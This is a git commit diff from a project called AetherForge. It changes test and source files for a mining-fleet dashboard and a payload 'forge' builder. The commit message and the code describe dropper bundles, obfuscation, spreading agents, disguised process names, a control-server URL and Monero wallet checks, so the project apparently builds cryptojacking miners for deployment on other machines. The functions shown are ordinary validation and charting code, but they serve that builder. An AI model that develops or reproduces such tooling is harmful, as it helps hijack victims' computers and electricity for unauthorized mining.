fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -5,8 +5,6 @@ import {
resolveChartSeries,
chartSeriesDelta,
chartSeriesPeak,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from './chartSampleData';
describe('chartSampleData', () => {
@@ -20,44 +18,23 @@ describe('chartSampleData', () => {
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
});
it('hashrate sample trends upward (mining ramp)', () => {
const series = generateSampleSeries('hashrate', 48);
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
it('resolveChartSeries returns empty when live is empty', () => {
const { data, mode } = resolveChartSeries([]);
expect(mode).toBe('empty');
expect(data).toHaveLength(0);
});
it('accept sample stays in realistic pool band', () => {
const series = generateSampleSeries('accept', 48);
for (const p of series) {
expect(p.value).toBeGreaterThanOrEqual(90);
expect(p.value).toBeLessThanOrEqual(100);
}
});
it('resolveChartSeries uses sample when live is empty', () => {
const { data, mode } = resolveChartSeries([], 'hashrate');
expect(mode).toBe('sample');
expect(data.length).toBe(48);
expect(validateChartSeries(data).ok).toBe(true);
});
it('resolveChartSeries prefers live when enough points', () => {
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
...p,
value: 40 + i * 0.5,
}));
const { data, mode } = resolveChartSeries(live, 'cpu');
it('resolveChartSeries returns live slice when data exists', () => {
const live = generateSampleSeries('cpu', 20);
const { data, mode } = resolveChartSeries(live);
expect(mode).toBe('live');
expect(data.length).toBe(20);
});
it('preview constants are internally consistent', () => {
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
expect(totalPct).toBeGreaterThan(98);
expect(totalPct).toBeLessThan(102);
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
it('chartSeriesDelta computes trend', () => {
const series = generateSampleSeries('hashrate', 48);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
});
});

View File

@@ -1,41 +1,8 @@
import type { ChartPoint } from '../components/Charts/HashrateChart';
import type { ContributionBar } from './fleetAnalytics';
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
const MIN_LIVE_POINTS = 12;
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
export const SAMPLE_FLEET_PREVIEW = {
hashrate: 128_400,
acceptRate: 96.8,
avgCpu: 52,
avgMem: 61,
onlinePct: 88,
onlineCount: 7,
agentCount: 8,
xmrPerDay: 0.0384,
xmrPrice: 168.42,
} as const;
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
];
export const SAMPLE_ACTIVITY = [
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
];
export type ChartDisplayMode = 'live' | 'empty';
function formatTime(offsetMin: number): string {
const d = new Date(Date.now() - offsetMin * 60_000);
@@ -46,7 +13,7 @@ function noise(i: number, amp: number): number {
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
}
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
/** Test-only synthetic series (not used in production UI). */
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
const out: ChartPoint[] = [];
for (let i = points - 1; i >= 0; i--) {
@@ -92,41 +59,13 @@ export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors:
return { ok: errors.length === 0, errors };
}
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
if (live.length < MIN_LIVE_POINTS) return false;
const vals = live.map((p) => p.value);
const max = Math.max(...vals);
const min = Math.min(...vals);
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
return max - min > 0.05;
}
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
export function resolveChartSeries(
live: ChartPoint[],
kind: ChartSeriesKind,
options?: { tailValue?: number; minPoints?: number }
): { data: ChartPoint[]; mode: ChartDisplayMode } {
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
/** Live telemetry only — no sample or blended filler in the dashboard. */
export function resolveChartSeries(live: ChartPoint[]): { data: ChartPoint[]; mode: ChartDisplayMode } {
const validation = validateChartSeries(live);
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
if (liveOk) {
return { data: live.slice(-60), mode: 'live' };
if (!validation.ok || live.length === 0) {
return { data: [], mode: 'empty' };
}
const sample = generateSampleSeries(kind, 48);
if (live.length === 0) {
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
const last = sample[sample.length - 1];
sample[sample.length - 1] = { ...last, value: options.tailValue };
}
return { data: sample, mode: 'sample' };
}
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
validateChartSeries(merged);
return { data: merged, mode: 'blend' };
return { data: live.slice(-60), mode: 'live' };
}
export function chartSeriesDelta(data: ChartPoint[]): number | null {

View File

@@ -1,5 +1,6 @@
import { describe, expect, it } from 'vitest';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
import { runForgePreflight } from './forgeValidation';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';
@@ -177,35 +178,37 @@ describe('runForgeCompatibilityChecks', () => {
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
});
it('errors when worker name is empty', () => {
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
it('errors when worker name is empty (preflight)', () => {
const checks = runForgePreflight(baseForm({ worker_name: '' }), false);
expect(checks.find((c) => c.id === 'worker')?.level).toBe('error');
});
it('errors when server URL uses localhost', () => {
expect(
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
it('errors when server URL uses localhost (preflight)', () => {
const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false);
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
});
it('errors when server URL uses 127.0.0.1', () => {
expect(
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
it('errors when server URL uses 127.0.0.1 (preflight)', () => {
const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false);
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
});
it('warns when wallet does not match Monero format', () => {
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
it('warns when wallet does not match Monero format (preflight)', () => {
const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn');
});
it('accepts minimum-length wallet (90 chars)', () => {
it('accepts minimum-length wallet (90 chars) in preflight', () => {
const wallet = '4' + 'A'.repeat(89);
expect(wallet.length).toBe(90);
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
const checks = runForgePreflight(baseForm({ wallet }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
});
it('accepts subaddress starting with 8', () => {
it('accepts subaddress starting with 8 in preflight', () => {
const subaddress = '8' + 'B'.repeat(94);
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
const checks = runForgePreflight(baseForm({ wallet: subaddress }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
});
it('emits forge_ready when core config is coherent', () => {

View File

@@ -1,11 +1,6 @@
import type { BuildRequest } from '../types';
import type { PreflightCheck } from './forgeValidation';
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
// Standard Monero addresses start with 4, subaddresses with 8
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
}
import { looksLikeXMRWallet } from './forgeValidation';
/** Extra incompatibility checks beyond basic validation. */
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
const workerName = form.worker_name || '';
const serverUrl = form.server_url || '';
if (!workerName.trim()) {
checks.push({
id: 'worker_name_empty',
level: 'error',
message: 'Worker Name is required. This identifies the machine in your fleet.',
});
}
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'server_url_localhost',
level: 'error',
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
});
}
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
checks.push({
id: 'wallet_invalid',
level: 'warn',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
});
}
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'forge_ready',

View File

@@ -37,8 +37,8 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.fusion_enabled) return 'fusion';
if (form.spread_kit) return 'spread_kit';
if (form.fusion_enabled) return 'fusion';
return 'single';
}

View File

@@ -64,7 +64,7 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
if (!form.wallet.trim()) {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
} else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90106).' });
} else {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
}